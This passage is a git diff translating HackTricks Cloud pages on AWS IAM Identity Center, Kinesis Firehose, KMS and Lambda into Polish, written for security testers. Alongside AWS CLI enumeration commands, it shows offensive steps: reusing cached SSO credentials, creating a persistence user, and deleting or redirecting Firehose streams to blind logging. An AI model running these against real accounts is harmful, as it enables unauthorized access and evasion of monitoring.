'map(select(.status | contains("UNKNOWN") | not))' /tmp/out-cloudsploit.json # Get services by regions jq 'group_by(.region) | map({(.[0].region): ([map((.resource | split(":"))[2]) | unique])})' ~/Desktop/pentests/cere/greybox/core-dev-dev-cloudsploit-filtered.json ``` - {{#endtab }} {{#tab name="SteamPipe" }} - ```bash # https://github.com/turbot/steampipe-mod-aws-insights steampipe check all --export=json @@ -220,50 +203,48 @@ steampipe check all --export=json # In this case you cannot output to JSON, so heck it in the dashboard steampipe dashboard ``` - {{#endtab }} {{#endtabs }} #### \ -Neither of the previous tools is capable of checking close to all permissions, so if you know a better tool send a PR! +Żadne z poprzednich narzędzi nie jest w stanie sprawdzić prawie wszystkich uprawnień, więc jeśli znasz lepsze narzędzie, wyślij PR! -### Unauthenticated Access +### Nieautoryzowany dostęp {{#ref}} ../aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md {{#endref}} -### Privilege Escalation +### Eskalacja uprawnień -In the following page you can check how to **abuse IAM permissions to escalate privileges**: +Na następnej stronie możesz sprawdzić, jak **nadużywać uprawnień IAM, aby eskalować uprawnienia**: {{#ref}} ../aws-privilege-escalation/aws-iam-privesc.md {{#endref}} -### IAM Post Exploitation +### Po eksploatacji IAM {{#ref}} ../aws-post-exploitation/aws-iam-post-exploitation.md {{#endref}} -### IAM Persistence +### Utrzymywanie IAM {{#ref}} ../aws-persistence/aws-iam-persistence.md {{#endref}} -## IAM Identity Center +## Centrum tożsamości IAM -You can find a **description of IAM Identity Center** in: +Możesz znaleźć **opis Centrum tożsamości IAM** w: {{#ref}} ../aws-basic-information/ {{#endref}} -### Connect via SSO with CLI - +### Połączenie przez SSO z CLI ```bash # Connect with sso via CLI aws configure sso aws configure sso @@ -274,20 +255,18 @@ sso_account_id = sso_role_name = AdministratorAccess sso_region = us-east-1 ``` - ### Enumeration -The main elements of the Identity Center are: +Główne elementy Identity Center to: -- Users and groups -- Permission Sets: Have policies attached -- AWS Accounts +- Użytkownicy i grupy +- Zestawy uprawnień: Mają przypisane polityki +- Konta AWS -Then, relationships are created so users/groups have Permission Sets over AWS Account. +Następnie tworzone są relacje, aby użytkownicy/grupy miały Zestawy uprawnień w ramach Konta AWS. > [!NOTE] -> Note that there are 3 ways to attach policies to a Permission Set. Attaching AWS managed policies, Customer managed policies (these policies needs to be created in all the accounts the Permissions Set is affecting), and inline policies (defined in there). - +> Zauważ, że istnieją 3 sposoby przypisania polityk do Zestawu uprawnień. Przypisanie polityk zarządzanych przez AWS, polityk zarządzanych przez klienta (te polityki muszą być tworzone we wszystkich kontach, na które wpływa Zestaw uprawnień) oraz polityk inline (zdefiniowanych tam). ```bash # Check if IAM Identity Center is used aws sso-admin list-instances @@ -321,11 +300,9 @@ aws identitystore list-group-memberships --identity-store-id --group- ## Get memberships or a user or a group aws identitystore list-group-memberships-for-member --identity-store-id --member-id ``` - ### Local Enumeration -It's possible to create inside the folder `$HOME/.aws` the file config to configure profiles that are accessible via SSO, for example: - +Możliwe jest utworzenie wewnątrz folderu `$HOME/.aws` pliku config, aby skonfigurować profile, które są dostępne za pomocą SSO, na przykład: ```ini [default] region = us-west-2 @@ -343,20 +320,16 @@ output = json role_arn = arn:aws:iam:::role/ReadOnlyRole source_profile = Hacktricks-Admin ``` - -This configuration can be used with the commands: - +Ta konfiguracja może być używana z poleceniami: ```bash # Login in ms-sso-profile aws sso login --profile my-sso-profile # Use dependent-profile aws s3 ls --profile dependent-profile ``` +Kiedy **profil z SSO jest używany** do uzyskania dostępu do informacji, dane uwierzytelniające są **buforowane** w pliku wewnątrz folderu **`$HOME/.aws/sso/cache`**. Dlatego mogą być **odczytywane i używane stamtąd**. -When a **profile from SSO is used** to access some information, the credentials are **cached** in a file inside the folder **`$HOME/.aws/sso/cache`**. Therefore they can be **read and used from there**. - -Moreover, **more credentials** can be stored in the folder **`$HOME/.aws/cli/cache`**. This cache directory is primarily used when you are **working with AWS CLI profiles** that use IAM user credentials or **assume** roles through IAM (without SSO). Config example: - +Ponadto, **więcej danych uwierzytelniających** może być przechowywanych w folderze **`$HOME/.aws/cli/cache`**. Ten katalog buforu jest głównie używany, gdy **pracujesz z profilami AWS CLI**, które używają danych uwierzytelniających użytkownika IAM lub **przyjmują** role przez IAM (bez SSO). Przykład konfiguracji: ```ini [profile crossaccountrole] role_arn = arn:aws:iam::234567890123:role/SomeRole @@ -364,43 +337,36 @@ source_profile = default mfa_serial = arn:aws:iam::123456789012:mfa/saanvi external_id = 123456 ``` - -### Unauthenticated Access +### Nieautoryzowany dostęp {{#ref}} ../aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md {{#endref}} -### Privilege Escalation +### Eskalacja uprawnień {{#ref}} ../aws-privilege-escalation/aws-sso-and-identitystore-privesc.md {{#endref}} -### Post Exploitation +### Po wykorzystaniu {{#ref}} ../aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md {{#endref}} -### Persistence - -#### Create a user an assign permissions to it +### Utrzymywanie dostępu +#### Utwórz użytkownika i przypisz mu uprawnienia ```bash # Create user identitystore:CreateUser aws identitystore create-user --identity-store-id --user-name privesc --display-name privesc --emails Value=sdkabflvwsljyclpma@tmmbt.net,Type=Work,Primary=True --name Formatted=privesc,FamilyName=privesc,GivenName=privesc ## After creating it try to login in the console using the selected username, you will receive an email with the code and then you will be able to select a password ``` +- Utwórz grupę, przypisz jej uprawnienia i ustaw na niej kontrolowanego użytkownika +- Przyznaj dodatkowe uprawnienia kontrolowanemu użytkownikowi lub grupie +- Domyślnie tylko użytkownicy z uprawnieniami z Konta Zarządzającego będą mogli uzyskać dostęp i kontrolować IAM Identity Center. -- Create a group and assign it permissions and set on it a controlled user -- Give extra permissions to a controlled user or group -- By default, only users with permissions form the Management Account are going to be able to access and control the IAM Identity Center. - - However, it's possible via Delegate Administrator to allow users from a different account to manage it. They won't have exactly the same permission, but they will be able to perform [**management activities**](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html). +Jednak możliwe jest, aby za pomocą Delegowanego Administratora umożliwić użytkownikom z innego konta zarządzanie nim. Nie będą mieli dokładnie tych samych uprawnień, ale będą mogli wykonywać [**działania zarządzające**](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html). {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md index 6ca66b5ed..34cd1527c 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md @@ -4,12 +4,11 @@ ## Kinesis Data Firehose -Amazon Kinesis Data Firehose is a **fully managed service** that facilitates the delivery of **real-time streaming data**. It supports a variety of destinations, including Amazon Simple Storage Service (Amazon S3), Amazon Redshift, Amazon OpenSearch Service, Splunk, and custom HTTP endpoints. +Amazon Kinesis Data Firehose to **w pełni zarządzana usługa**, która ułatwia dostarczanie **danych strumieniowych w czasie rzeczywistym**. Obsługuje różnorodne miejsca docelowe, w tym Amazon Simple Storage Service (Amazon S3), Amazon Redshift, Amazon OpenSearch Service, Splunk oraz niestandardowe punkty końcowe HTTP. -The service alleviates the need for writing applications or managing resources by allowing data producers to be configured to forward data directly to Kinesis Data Firehose. This service is responsible for the **automatic delivery of data to the specified destination**. Additionally, Kinesis Data Firehose provides the option to **transform the data prior to its delivery**, enhancing its flexibility and applicability to various use cases. +Usługa ta eliminuje potrzebę pisania aplikacji lub zarządzania zasobami, umożliwiając producentom danych skonfigurowanie ich do bezpośredniego przesyłania danych do Kinesis Data Firehose. Usługa ta jest odpowiedzialna za **automatyczne dostarczanie danych do określonego miejsca docelowego**. Dodatkowo, Kinesis Data Firehose oferuje opcję **przekształcania danych przed ich dostarczeniem**, co zwiększa jej elastyczność i zastosowanie w różnych przypadkach użycia. ### Enumeration - ```bash # Get delivery streams aws firehose list-delivery-streams @@ -19,37 +18,26 @@ aws firehose describe-delivery-stream --delivery-stream-name ## Get roles aws firehose describe-delivery-stream --delivery-stream-name | grep -i RoleARN ``` +## Post-exploitation / Obchodzenie Ochrony -## Post-exploitation / Defense Bypass - -In case firehose is used to send logs or defense insights, using these functionalities an attacker could prevent it from working properly. +W przypadku, gdy firehose jest używany do wysyłania logów lub informacji o obronie, korzystając z tych funkcji, atakujący mógłby uniemożliwić jego prawidłowe działanie. ### firehose:DeleteDeliveryStream - ``` aws firehose delete-delivery-stream --delivery-stream-name --allow-force-delete ``` - ### firehose:UpdateDestination - ``` aws firehose update-destination --delivery-stream-name --current-delivery-stream-version-id --destination-id ``` - ### firehose:PutRecord | firehose:PutRecordBatch - ``` aws firehose put-record --delivery-stream-name my-stream --record '{"Data":"SGVsbG8gd29ybGQ="}' aws firehose put-record-batch --delivery-stream-name my-stream --records file://records.json ``` - -## References +## Odniesienia - [https://docs.amazonaws.cn/en_us/firehose/latest/dev/what-is-this-service.html](https://docs.amazonaws.cn/en_us/firehose/latest/dev/what-is-this-service.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md index 543ed31cd..ecf808cf1 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md @@ -2,128 +2,125 @@ {{#include ../../../banners/hacktricks-training.md}} -## KMS - Key Management Service +## KMS - Usługa Zarządzania Kluczami -AWS Key Management Service (AWS KMS) is presented as a managed service, simplifying the process for users to **create and manage customer master keys** (CMKs). These CMKs are integral in the encryption of user data. A notable feature of AWS KMS is that CMKs are predominantly **secured by hardware security modules** (HSMs), enhancing the protection of the encryption keys. +AWS Key Management Service (AWS KMS) jest przedstawiana jako zarządzana usługa, upraszczająca proces **tworzenia i zarządzania kluczami głównymi klientów** (CMK). Te CMK są integralne w szyfrowaniu danych użytkowników. Cechą wyróżniającą AWS KMS jest to, że CMK są głównie **zabezpieczane przez moduły bezpieczeństwa sprzętowego** (HSM), co zwiększa ochronę kluczy szyfrujących. -KMS uses **symmetric cryptography**. This is used to **encrypt information as rest** (for example, inside a S3). If you need to **encrypt information in transit** you need to use something like **TLS**. +KMS używa **szyfrowania symetrycznego**. Jest ono używane do **szyfrowania informacji w spoczynku** (na przykład, wewnątrz S3). Jeśli potrzebujesz **szyfrować informacje w tranzycie**, musisz użyć czegoś takiego jak **TLS**. -KMS is a **region specific service**. +KMS jest **usługą specyficzną dla regionu**. -**Administrators at Amazon do not have access to your keys**. They cannot recover your keys and they do not help you with encryption of your keys. AWS simply administers the operating system and the underlying application it's up to us to administer our encryption keys and administer how those keys are used. +**Administratorzy w Amazonie nie mają dostępu do twoich kluczy**. Nie mogą odzyskać twoich kluczy i nie pomagają w szyfrowaniu twoich kluczy. AWS po prostu zarządza systemem operacyjnym i podstawową aplikacją, to od nas zależy zarządzanie naszymi kluczami szyfrującymi i tym, jak te klucze są używane. -**Customer Master Keys** (CMK): Can encrypt data up to 4KB in size. They are typically used to create, encrypt, and decrypt the DEKs (Data Encryption Keys). Then the DEKs are used to encrypt the data. +**Klucze Główne Klienta** (CMK): Mogą szyfrować dane o rozmiarze do 4KB. Zwykle są używane do tworzenia, szyfrowania i deszyfrowania DEK-ów (Kluczy Szyfrujących Danych). Następnie DEK-i są używane do szyfrowania danych. -A customer master key (CMK) is a logical representation of a master key in AWS KMS. In addition to the master key's identifiers and other metadata, including its creation date, description, and key state, a **CMK contains the key material which used to encrypt and decrypt data**. When you create a CMK, by default, AWS KMS generates the key material for that CMK. However, you can choose to create a CMK without key material and then import your own key material into that CMK. +Klucz główny klienta (CMK) jest logiczną reprezentacją klucza głównego w AWS KMS. Oprócz identyfikatorów klucza głównego i innych metadanych, w tym daty utworzenia, opisu i stanu klucza, **CMK zawiera materiał klucza, który jest używany do szyfrowania i deszyfrowania danych**. Kiedy tworzysz CMK, domyślnie AWS KMS generuje materiał klucza dla tego CMK. Możesz jednak zdecydować się na utworzenie CMK bez materiału klucza, a następnie zaimportować własny materiał klucza do tego CMK. -There are 2 types of master keys: +Istnieją 2 typy kluczy głównych: -- **AWS managed CMKs: Used by other services to encrypt data**. It's used by the service that created it in a region. They are created the first time you implement the encryption in that service. Rotates every 3 years and it's not possible to change it. -- **Customer manager CMKs**: Flexibility, rotation, configurable access and key policy. Enable and disable keys. +- **CMK zarządzane przez AWS: Używane przez inne usługi do szyfrowania danych**. Są używane przez usługę, która je utworzyła w danym regionie. Są tworzone po raz pierwszy, gdy wdrażasz szyfrowanie w tej usłudze. Rotują co 3 lata i nie ma możliwości ich zmiany. +- **CMK zarządzane przez klienta**: Elastyczność, rotacja, konfigurowalny dostęp i polityka klucza. Włączanie i wyłączanie kluczy. -**Envelope Encryption** in the context of Key Management Service (KMS): Two-tier hierarchy system to **encrypt data with data key and then encrypt data key with master key**. +**Szyfrowanie w Kopercie** w kontekście Usługi Zarządzania Kluczami (KMS): System hierarchii dwóch poziomów do **szyfrowania danych za pomocą klucza danych, a następnie szyfrowania klucza danych za pomocą klucza głównego**. -### Key Policies +### Polityki Kluczy -These defines **who can use and access a key in KMS**. +Te definiują **kto może używać i uzyskiwać dostęp do klucza w KMS**. -By **default:** +**Domyślnie:** -- It gives the **IAM of the** **AWS account that owns the KMS key access** to manage the access to the KMS key via IAM. +- Daje **IAM konta AWS, które posiada klucz KMS dostęp** do zarządzania dostępem do klucza KMS za pośrednictwem IAM. - Unlike other AWS resource policies, a AWS **KMS key policy does not automatically give permission any of the principals of the account**. To give permission to account administrators, the **key policy must include an explicit statement** that provides this permission, like this one. +W przeciwieństwie do innych polityk zasobów AWS, polityka **klucza KMS nie przyznaje automatycznie uprawnień żadnemu z podmiotów konta**. Aby przyznać uprawnienia administratorom konta, **polityka klucza musi zawierać wyraźne oświadczenie** przyznające te uprawnienia, takie jak to. - - Without allowing the account(`"AWS": "arn:aws:iam::111122223333:root"`) IAM permissions won't work. +- Bez zezwolenia konta (`"AWS": "arn:aws:iam::111122223333:root"`) uprawnienia IAM nie będą działać. -- It **allows the account to use IAM policies** to allow access to the KMS key, in addition to the key policy. +- **Pozwala kontu używać polityk IAM** do zezwolenia na dostęp do klucza KMS, oprócz polityki klucza. - **Without this permission, IAM policies that allow access to the key are ineffective**, although IAM policies that deny access to the key are still effective. +**Bez tego zezwolenia polityki IAM, które pozwalają na dostęp do klucza, są nieskuteczne**, chociaż polityki IAM, które odmawiają dostępu do klucza, są nadal skuteczne. -- It **reduces the risk of the key becoming unmanageable** by giving access control permission to the account administrators, including the account root user, which cannot be deleted. - -**Default policy** example: +- **Zmniejsza ryzyko, że klucz stanie się niezarządzalny** poprzez przyznanie uprawnień do kontroli dostępu administratorom konta, w tym użytkownikowi głównemu konta, którego nie można usunąć. +**Przykład domyślnej polityki**: ```json { - "Sid": "Enable IAM policies", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::111122223333:root" - }, - "Action": "kms:*", - "Resource": "*" +"Sid": "Enable IAM policies", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::111122223333:root" +}, +"Action": "kms:*", +"Resource": "*" } ``` - > [!WARNING] -> If the **account is allowed** (`"arn:aws:iam::111122223333:root"`) a **principal** from the account **will still need IAM permissions** to use the KMS key. However, if the **ARN** of a role for example is **specifically allowed** in the **Key Policy**, that role **doesn't need IAM permissions**. +> Jeśli **konto jest dozwolone** (`"arn:aws:iam::111122223333:root"`), **podmiot** z konta **wciąż potrzebuje uprawnień IAM**, aby używać klucza KMS. Jednak jeśli **ARN** roli na przykład jest **specjalnie dozwolony** w **polityce klucza**, ta rola **nie potrzebuje uprawnień IAM**.
-Policy Details +Szczegóły polityki -Properties of a policy: +Właściwości polityki: -- JSON based document -- Resource --> Affected resources (can be "\*") -- Action --> kms:Encrypt, kms:Decrypt, kms:CreateGrant ... (permissions) -- Effect --> Allow/Deny -- Principal --> arn affected -- Conditions (optional) --> Condition to give the permissions +- Dokument oparty na JSON +- Zasób --> Dotknięte zasoby (może być "\*") +- Akcja --> kms:Encrypt, kms:Decrypt, kms:CreateGrant ... (uprawnienia) +- Efekt --> Zezwól/Odmów +- Podmiot --> arn dotknięty +- Warunki (opcjonalne) --> Warunek przyznający uprawnienia -Grants: +Granty: -- Allow to delegate your permissions to another AWS principal within your AWS account. You need to create them using the AWS KMS APIs. It can be indicated the CMK identifier, the grantee principal and the required level of opoeration (Decrypt, Encrypt, GenerateDataKey...) -- After the grant is created a GrantToken and a GratID are issued +- Zezwala na delegowanie swoich uprawnień innemu podmiotowi AWS w ramach twojego konta AWS. Musisz je utworzyć za pomocą interfejsów API AWS KMS. Można wskazać identyfikator CMK, podmiot granta oraz wymagany poziom operacji (Decrypt, Encrypt, GenerateDataKey...) +- Po utworzeniu grantu wydawany jest GrantToken i GrantID -**Access**: +**Dostęp**: -- Via **key policy** -- If this exist, this takes **precedent** over the IAM policy -- Via **IAM policy** -- Via **grants** +- Poprzez **politykę klucza** -- Jeśli to istnieje, ma **pierwszeństwo** przed polityką IAM +- Poprzez **politykę IAM** +- Poprzez **granty**
-### Key Administrators +### Administratorzy kluczy -Key administrator by default: +Administratorzy kluczy domyślnie: -- Have access to manage KMS but not to encrypt or decrypt data -- Only IAM users and roles can be added to Key Administrators list (not groups) -- If external CMK is used, Key Administrators have the permission to import key material +- Mają dostęp do zarządzania KMS, ale nie do szyfrowania ani deszyfrowania danych +- Tylko użytkownicy IAM i role mogą być dodawani do listy administratorów kluczy (nie grupy) +- Jeśli używany jest zewnętrzny CMK, administratorzy kluczy mają uprawnienia do importowania materiału klucza -### Rotation of CMKs +### Rotacja CMK -- The longer the same key is left in place, the more data is encrypted with that key, and if that key is breached, then the wider the blast area of data is at risk. In addition to this, the longer the key is active, the probability of it being breached increases. -- **KMS rotate customer keys every 365 days** (or you can perform the process manually whenever you want) and **keys managed by AWS every 3 years** and this time it cannot be changed. -- **Older keys are retained** to decrypt data that was encrypted prior to the rotation -- In a break, rotating the key won't remove the threat as it will be possible to decrypt all the data encrypted with the compromised key. However, the **new data will be encrypted with the new key**. -- If **CMK** is in state of **disabled** or **pending** **deletion**, KMS will **not perform a key rotation** until the CMK is re-enabled or deletion is cancelled. +- Im dłużej ten sam klucz pozostaje na miejscu, tym więcej danych jest szyfrowanych tym kluczem, a jeśli ten klucz zostanie naruszony, tym szerszy obszar danych jest narażony na ryzyko. Oprócz tego, im dłużej klucz jest aktywny, tym większe prawdopodobieństwo jego naruszenia. +- **KMS rotuje klucze klientów co 365 dni** (lub możesz przeprowadzić ten proces ręcznie, kiedy chcesz) oraz **klucze zarządzane przez AWS co 3 lata**, a tego czasu nie można zmienić. +- **Starsze klucze są zachowywane** do deszyfrowania danych, które zostały zaszyfrowane przed rotacją +- W przypadku naruszenia, rotacja klucza nie usunie zagrożenia, ponieważ możliwe będzie deszyfrowanie wszystkich danych zaszyfrowanych skompromitowanym kluczem. Jednak **nowe dane będą szyfrowane nowym kluczem**. +- Jeśli **CMK** jest w stanie **wyłączonym** lub **oczekującym** **usunięcia**, KMS **nie przeprowadzi rotacji klucza**, dopóki CMK nie zostanie ponownie włączony lub usunięcie nie zostanie anulowane. -#### Manual rotation +#### Ręczna rotacja -- A **new CMK needs to be created**, then, a new CMK-ID is created, so you will need to **update** any **application** to **reference** the new CMK-ID. -- To do this process easier you can **use aliases to refer to a key-id** and then just update the key the alias is referring to. -- You need to **keep old keys to decrypt old files** encrypted with it. +- **Nowy CMK musi być utworzony**, następnie tworzony jest nowy identyfikator CMK, więc będziesz musiał **zaktualizować** każdą **aplikację**, aby **odnosiła się** do nowego identyfikatora CMK. +- Aby ułatwić ten proces, możesz **używać aliasów do odniesienia się do identyfikatora klucza** i następnie po prostu zaktualizować klucz, do którego odnosi się alias. +- Musisz **zachować stare klucze, aby deszyfrować stare pliki** zaszyfrowane tym kluczem. -You can import keys from your on-premises key infrastructure . +Możesz importować klucze z własnej infrastruktury kluczy lokalnych. -### Other relevant KMS information +### Inne istotne informacje KMS -KMS is priced per number of encryption/decryption requests received from all services per month. +KMS jest wyceniane na podstawie liczby żądań szyfrowania/deszyfrowania otrzymanych ze wszystkich usług miesięcznie. -KMS has full audit and compliance **integration with CloudTrail**; this is where you can audit all changes performed on KMS. +KMS ma pełną audyt i zgodność **integrację z CloudTrail**; to tutaj możesz audytować wszystkie zmiany dokonane w KMS. -With KMS policy you can do the following: +Dzięki polityce KMS możesz zrobić następujące rzeczy: -- Limit who can create data keys and which services have access to use these keys -- Limit systems access to encrypt only, decrypt only or both -- Define to enable systems to access keys across regions (although it is not recommended as a failure in the region hosting KMS will affect availability of systems in other regions). +- Ograniczyć, kto może tworzyć klucze danych i które usługi mają dostęp do używania tych kluczy +- Ograniczyć dostęp systemów tylko do szyfrowania, tylko do deszyfrowania lub obu +- Zdefiniować, aby umożliwić systemom dostęp do kluczy w różnych regionach (chociaż nie jest to zalecane, ponieważ awaria w regionie hostującym KMS wpłynie na dostępność systemów w innych regionach). -You cannot synchronize or move/copy keys across regions; you can only define rules to allow access across region. - -### Enumeration +Nie możesz synchronizować ani przenosić/kopiować kluczy między regionami; możesz tylko zdefiniować zasady, aby umożliwić dostęp między regionami. +### Enumeracja ```bash aws kms list-keys aws kms list-key-policies --key-id @@ -132,7 +129,6 @@ aws kms describe-key --key-id aws kms get-key-policy --key-id --policy-name # Default policy name is "default" aws kms describe-custom-key-stores ``` - ### Privesc {{#ref}} @@ -156,7 +152,3 @@ aws kms describe-custom-key-stores - [https://docs.aws.amazon.com/kms/latest/developerguide/key-policy-default.html](https://docs.aws.amazon.com/kms/latest/developerguide/key-policy-default.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md index 03fa1aac8..15dbe7c7c 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md @@ -4,59 +4,58 @@ ## Lambda -Amazon Web Services (AWS) Lambda is described as a **compute service** that enables the execution of code without the necessity for server provision or management. It is characterized by its ability to **automatically handle resource allocation** needed for code execution, ensuring features like high availability, scalability, and security. A significant aspect of Lambda is its pricing model, where **charges are based solely on the compute time utilized**, eliminating the need for initial investments or long-term obligations. +Amazon Web Services (AWS) Lambda jest opisana jako **usługa obliczeniowa**, która umożliwia wykonywanie kodu bez konieczności provisionowania lub zarządzania serwerami. Charakteryzuje się zdolnością do **automatycznego zarządzania alokacją zasobów** potrzebnych do wykonania kodu, zapewniając takie funkcje jak wysoka dostępność, skalowalność i bezpieczeństwo. Istotnym aspektem Lambda jest jej model cenowy, w którym **opłaty są oparte wyłącznie na czasie obliczeniowym**, eliminując potrzebę początkowych inwestycji lub długoterminowych zobowiązań. -To call a lambda it's possible to call it as **frequently as you wants** (with Cloudwatch), **expose** an **URL** endpoint and call it, call it via **API Gateway** or even based on **events** such as **changes** to data in a **S3** bucket or updates to a **DynamoDB** table. +Aby wywołać lambdę, można ją wywoływać **tak często, jak chcesz** (z Cloudwatch), **ekspozycja** punktu końcowego **URL** i wywołanie go, wywołanie go za pomocą **API Gateway** lub nawet na podstawie **zdarzeń**, takich jak **zmiany** w danych w **S3** lub aktualizacje w tabeli **DynamoDB**. -The **code** of a lambda is stored in **`/var/task`**. +**Kod** lambdy jest przechowywany w **`/var/task`**. -### Lambda Aliases Weights +### Wagi aliasów Lambda -A Lambda can have **several versions**.\ -And it can have **more than 1** version exposed via **aliases**. The **weights** of **each** of the **versions** exposed inside and alias will decide **which alias receive the invocation** (it can be 90%-10% for example).\ -If the code of **one** of the aliases is **vulnerable** you can send **requests until the vulnerable** versions receives the exploit. +Lambdę można mieć **kilka wersji**.\ +Może mieć **więcej niż 1** wersję eksponowaną za pomocą **aliasów**. **Wagi** **każdej** z **wersji** eksponowanej w aliasie zdecydują, **który alias otrzyma wywołanie** (może to być na przykład 90%-10%).\ +Jeśli kod **jednego** z aliasów jest **vulnerable**, możesz wysyłać **żądania, aż wrażliwa** wersja otrzyma exploit. ![](<../../../images/image (223).png>) -### Resource Policies +### Polityki zasobów -Lambda resource policies allow to **give access to other services/accounts to invoke** the lambda for example.\ -For example this is the policy to allow **anyone to access a lambda exposed via URL**: +Polityki zasobów Lambda pozwalają na **udzielanie dostępu innym usługom/kontom do wywoływania** lambdy na przykład.\ +Na przykład, oto polityka, która pozwala **każdemu na dostęp do lambdy eksponowanej za pomocą URL**:
-Or this to allow an API Gateway to invoke it: +Lub to, aby pozwolić API Gateway na wywołanie:
-### Lambda Database Proxies +### Proxysy bazy danych Lambda -When there are **hundreds** of **concurrent lambda requests**, if each of them need to **connect and close a connection to a database**, it's just not going to work (lambdas are stateless, cannot maintain connections open).\ -Then, if your **Lambda functions interact with RDS Proxy instead** of your database instance. It handles the connection pooling necessary for scaling many simultaneous connections created by concurrent Lambda functions. This allows your Lambda applications to **reuse existing connections**, rather than creating new connections for every function invocation. +Gdy jest **setki** **równoległych żądań lambdy**, jeśli każde z nich musi **połączyć się i zamknąć połączenie z bazą danych**, to po prostu nie zadziała (lambdy są bezstanowe, nie mogą utrzymywać otwartych połączeń).\ +Wtedy, jeśli Twoje **funkcje Lambda współdziałają z RDS Proxy zamiast** z instancją bazy danych. Obsługuje pulowanie połączeń niezbędne do skalowania wielu równoległych połączeń tworzonych przez równoległe funkcje Lambda. To pozwala Twoim aplikacjom Lambda na **ponowne wykorzystanie istniejących połączeń**, zamiast tworzenia nowych połączeń dla każdego wywołania funkcji. -### Lambda EFS Filesystems +### Systemy plików EFS Lambda -To preserve and even share data **Lambdas can access EFS and mount them**, so Lambda will be able to read and write from it. +Aby zachować, a nawet dzielić dane, **Lambdy mogą uzyskiwać dostęp do EFS i montować je**, aby Lambda mogła z niego czytać i pisać. -### Lambda Layers +### Warstwy Lambda -A Lambda _layer_ is a .zip file archive that **can contain additional code** or other content. A layer can contain libraries, a [custom runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), data, or configuration files. +Warstwa Lambda to archiwum .zip, które **może zawierać dodatkowy kod** lub inne treści. Warstwa może zawierać biblioteki, [niestandardowe środowisko uruchomieniowe](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), dane lub pliki konfiguracyjne. -It's possible to include up to **five layers per function**. When you include a layer in a function, the **contents are extracted to the `/opt`** directory in the execution environment. +Można dołączyć do **pięciu warstw na funkcję**. Gdy dołączasz warstwę do funkcji, **zawartość jest wyodrębniana do katalogu `/opt`** w środowisku wykonawczym. -By **default**, the **layers** that you create are **private** to your AWS account. You can choose to **share** a layer with other accounts or to **make** the layer **public**. If your functions consume a layer that a different account published, your functions can **continue to use the layer version after it has been deleted, or after your permission to access the layer is revoked**. However, you cannot create a new function or update functions using a deleted layer version. +Z **domyślnie**, **warstwy**, które tworzysz, są **prywatne** dla Twojego konta AWS. Możesz zdecydować się na **udostępnienie** warstwy innym kontom lub **uczynić** warstwę **publiczną**. Jeśli Twoje funkcje korzystają z warstwy, którą opublikowało inne konto, Twoje funkcje mogą **nadal korzystać z wersji warstwy po jej usunięciu lub po cofnięciu Twojego dostępu do warstwy**. Jednak nie możesz utworzyć nowej funkcji ani zaktualizować funkcji korzystających z usuniętej wersji warstwy. -Functions deployed as a container image do not use layers. Instead, you package your preferred runtime, libraries, and other dependencies into the container image when you build the image. +Funkcje wdrożone jako obraz kontenera nie używają warstw. Zamiast tego pakujesz swoje preferowane środowisko uruchomieniowe, biblioteki i inne zależności do obrazu kontenera podczas budowania obrazu. -### Lambda Extensions +### Rozszerzenia Lambda -Lambda extensions enhance functions by integrating with various **monitoring, observability, security, and governance tools**. These extensions, added via [.zip archives using Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) or included in [container image deployments](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operate in two modes: **internal** and **external**. +Rozszerzenia Lambda wzmacniają funkcje, integrując się z różnymi **narzędziami monitorującymi, obserwacyjnymi, bezpieczeństwa i zarządzania**. Te rozszerzenia, dodawane za pomocą [.zip archiwów przy użyciu warstw Lambda](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) lub zawarte w [wdrożeniach obrazów kontenerów](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), działają w dwóch trybach: **wewnętrznym** i **zewnętrznym**. -- **Internal extensions** merge with the runtime process, manipulating its startup using **language-specific environment variables** and **wrapper scripts**. This customization applies to a range of runtimes, including **Java Correto 8 and 11, Node.js 10 and 12, and .NET Core 3.1**. -- **External extensions** run as separate processes, maintaining operation alignment with the Lambda function's lifecycle. They're compatible with various runtimes like **Node.js 10 and 12, Python 3.7 and 3.8, Ruby 2.5 and 2.7, Java Corretto 8 and 11, .NET Core 3.1**, and **custom runtimes**. - -### Enumeration +- **Wewnętrzne rozszerzenia** łączą się z procesem uruchomieniowym, manipulując jego uruchomieniem za pomocą **zmiennych środowiskowych specyficznych dla języka** i **skryptów opakowujących**. Ta personalizacja dotyczy różnych środowisk uruchomieniowych, w tym **Java Correto 8 i 11, Node.js 10 i 12 oraz .NET Core 3.1**. +- **Zewnętrzne rozszerzenia** działają jako oddzielne procesy, utrzymując zgodność z cyklem życia funkcji Lambda. Są kompatybilne z różnymi środowiskami uruchomieniowymi, takimi jak **Node.js 10 i 12, Python 3.7 i 3.8, Ruby 2.5 i 2.7, Java Corretto 8 i 11, .NET Core 3.1** oraz **niestandardowe 